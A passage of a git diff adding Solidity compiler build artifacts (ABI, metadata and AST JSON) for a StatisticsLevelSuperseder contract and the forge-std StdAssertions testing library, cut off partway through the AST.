StatisticsLevelSuperseder.Level"}},"visibility":"internal"}],"src":"17259:14:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":57849,"nodeType":"FunctionDefinition","src":"17321:108:117","nodes":[],"body":{"id":57848,"nodeType":"Block","src":"17387:42:117","nodes":[],"statements":[{"expression":{"baseExpression":{"id":57844,"name":"levelExists","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56537,"src":"17404:11:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":57846,"indexExpression":{"id":57845,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57839,"src":"17416:5:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17404:18:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":57843,"id":57847,"nodeType":"Return","src":"17397:25:117"}]},"functionSelector":"6102942c","implemented":true,"kind":"function","modifiers":[],"name":"getLevelExists","nameLocation":"17330:14:117","parameters":{"id":57840,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57839,"mutability":"mutable","name":"level","nameLocation":"17353:5:117","nodeType":"VariableDeclaration","scope":57849,"src":"17345:13:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57838,"name":"address","nodeType":"ElementaryTypeName","src":"17345:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"17344:15:117"},"returnParameters":{"id":57843,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57842,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":57849,"src":"17381:4:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":57841,"name":"bool","nodeType":"ElementaryTypeName","src":"17381:4:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"17380:6:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":57861,"nodeType":"FunctionDefinition","src":"17435:101:117","nodes":[],"body":{"id":57860,"nodeType":"Block","src":"17502:34:117","nodes":[],"statements":[{"expression":{"baseExpression":{"id":57856,"name":"levels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56464,"src":"17519:6:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57858,"indexExpression":{"id":57857,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57851,"src":"17526:2:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17519:10:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":57855,"id":57859,"nodeType":"Return","src":"17512:17:117"}]},"functionSelector":"f9614717","implemented":true,"kind":"function","modifiers":[],"name":"getLevelAddress","nameLocation":"17444:15:117","parameters":{"id":57852,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57851,"mutability":"mutable","name":"id","nameLocation":"17468:2:117","nodeType":"VariableDeclaration","scope":57861,"src":"17460:10:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":57850,"name":"uint256","nodeType":"ElementaryTypeName","src":"17460:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"17459:12:117"},"returnParameters":{"id":57855,"nodeType":"ParameterList","parameters":[{"constant":false,"id":57854,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":57861,"src":"17493:7:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57853,"name":"address","nodeType":"ElementaryTypeName","src":"17493:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"17492:9:117"},"scope":57867,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":57866,"nodeType":"VariableDeclaration","src":"17801:25:117","nodes":[],"constant":false,"documentation":{"id":57862,"nodeType":"StructuredDocumentation","src":"17541:254:117","text":" @dev This empty reserved space is put in place to allow future versions to add new\n variables without shifting down storage in the inheritance chain.\n See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps"},"mutability":"mutable","name":"__gap","nameLocation":"17821:5:117","scope":57867,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$44_storage","typeString":"uint256[44]"},"typeName":{"baseType":{"id":57863,"name":"uint256","nodeType":"ElementaryTypeName","src":"17801:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":57865,"length":{"hexValue":"3434","id":57864,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"17809:2:117","typeDescriptions":{"typeIdentifier":"t_rational_44_by_1","typeString":"int_const 44"},"value":"44"},"nodeType":"ArrayTypeName","src":"17801:11:117","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$44_storage_ptr","typeString":"uint256[44]"}},"visibility":"private"}],"abstract":false,"baseContracts":[{"baseName":{"id":56455,"name":"Initializable","nameLocations":["216:13:117"],"nodeType":"IdentifierPath","referencedDeclaration":48510,"src":"216:13:117"},"id":56456,"nodeType":"InheritanceSpecifier","src":"216:13:117"}],"canonicalName":"StatisticsLevelSuperseder","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[57867,48510],"name":"StatisticsLevelSuperseder","nameLocation":"187:25:117","scope":57868,"usedErrors":[],"usedEvents":[48356,56583]}],"license":"MIT"},"id":117} \ No newline at end of file diff --git a/contracts/out/StdAssertions.sol/StdAssertions.json b/contracts/out/StdAssertions.sol/StdAssertions.json new file mode 100644 index 000000000..59c7a2a44 --- /dev/null +++ b/contracts/out/StdAssertions.sol/StdAssertions.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"failed()":"ba414fa6"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/StdAssertions.sol\":\"StdAssertions\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/StdAssertions.sol":"StdAssertions"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/StdAssertions.sol","id":2696,"exportedSymbols":{"StdAssertions":[2695],"Vm":[15673]},"nodeType":"SourceUnit","src":"32:23328:1","nodes":[{"id":76,"nodeType":"PragmaDirective","src":"32:31:1","nodes":[],"literals":["solidity",">=","0.6",".2","<","0.9",".0"]},{"id":77,"nodeType":"PragmaDirective","src":"64:33:1","nodes":[],"literals":["experimental","ABIEncoderV2"]},{"id":79,"nodeType":"ImportDirective","src":"99:28:1","nodes":[],"absolutePath":"lib/forge-std/src/Vm.sol","file":"./Vm.sol","nameLocation":"-1:-1:-1","scope":2696,"sourceUnit":15674,"symbolAliases":[{"foreign":{"id":78,"name":"Vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15673,"src":"107:2:1","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":2695,"nodeType":"ContractDefinition","src":"129:23230:1","nodes":[{"id":96,"nodeType":"VariableDeclaration","src":"167:84:1","nodes":[],"constant":true,"mutability":"constant","name":"vm","nameLocation":"187:2:1","scope":2695,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"},"typeName":{"id":81,"nodeType":"UserDefinedTypeName","pathNode":{"id":80,"name":"Vm","nameLocations":["167:2:1"],"nodeType":"IdentifierPath","referencedDeclaration":15673,"src":"167:2:1"},"referencedDeclaration":15673,"src":"167:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"value":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"hexValue":"6865766d20636865617420636f6465","id":90,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"229:17:1","typeDescriptions":{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""},"value":"hevm cheat code"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""}],"id":89,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"219:9:1","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":91,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"219:28:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":88,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"211:7:1","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":87,"name":"uint256","nodeType":"ElementaryTypeName","src":"211:7:1","typeDescriptions":{}}},"id":92,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"211:37:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":86,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"203:7:1","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":85,"name":"uint160","nodeType":"ElementaryTypeName","src":"203:7:1","typeDescriptions":{}}},"id":93,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"203:46:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":84,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"195:7:1","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":83,"name":"address","nodeType":"ElementaryTypeName","src":"195:7:1","typeDescriptions":{}}},"id":94,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"195:55:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":82,"name":"Vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15673,"src":"192:2:1","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Vm_$15673_$","typeString":"type(contract Vm)"}},"id":95,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"192:59:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"visibility":"private"},{"id":100,"nodeType":"EventDefinition","src":"258:18:1","nodes":[],"anonymous":false,"eventSelector":"41304facd9323d75b11bcdd609cb38effffdb05710f7caf0e9b16c6d9d709f50","name":"log","nameLocation":"264:3:1","parameters":{"id":99,"nodeType":"ParameterList","parameters":[{"constant":false,"id":98,"indexed":false,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":100,"src":"268:6:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":97,"name":"string","nodeType":"ElementaryTypeName","src":"268:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"267:8:1"}},{"id":104,"nodeType":"EventDefinition","src":"281:18:1","nodes":[],"anonymous":false,"eventSelector":"e7950ede0394b9f2ce4a5a1bf5a7e1852411f7e6661b4308c913c4bfd11027e4","name":"logs","nameLocation":"287:4:1","parameters":{"id":103,"nodeType":"ParameterList","parameters":[{"constant":false,"id":102,"indexed":false,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":104,"src":"292:5:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":101,"name":"bytes","nodeType":"ElementaryTypeName","src":"292:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"291:7:1"}},{"id":108,"nodeType":"EventDefinition","src":"305:27:1","nodes":[],"anonymous":false,"eventSelector":"7ae74c527414ae135fd97047b12921a5ec3911b804197855d67e25c7b75ee6f3","name":"log_address","nameLocation":"311:11:1","parameters":{"id":107,"nodeType":"ParameterList","parameters":[{"constant":false,"id":106,"indexed":false,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":108,"s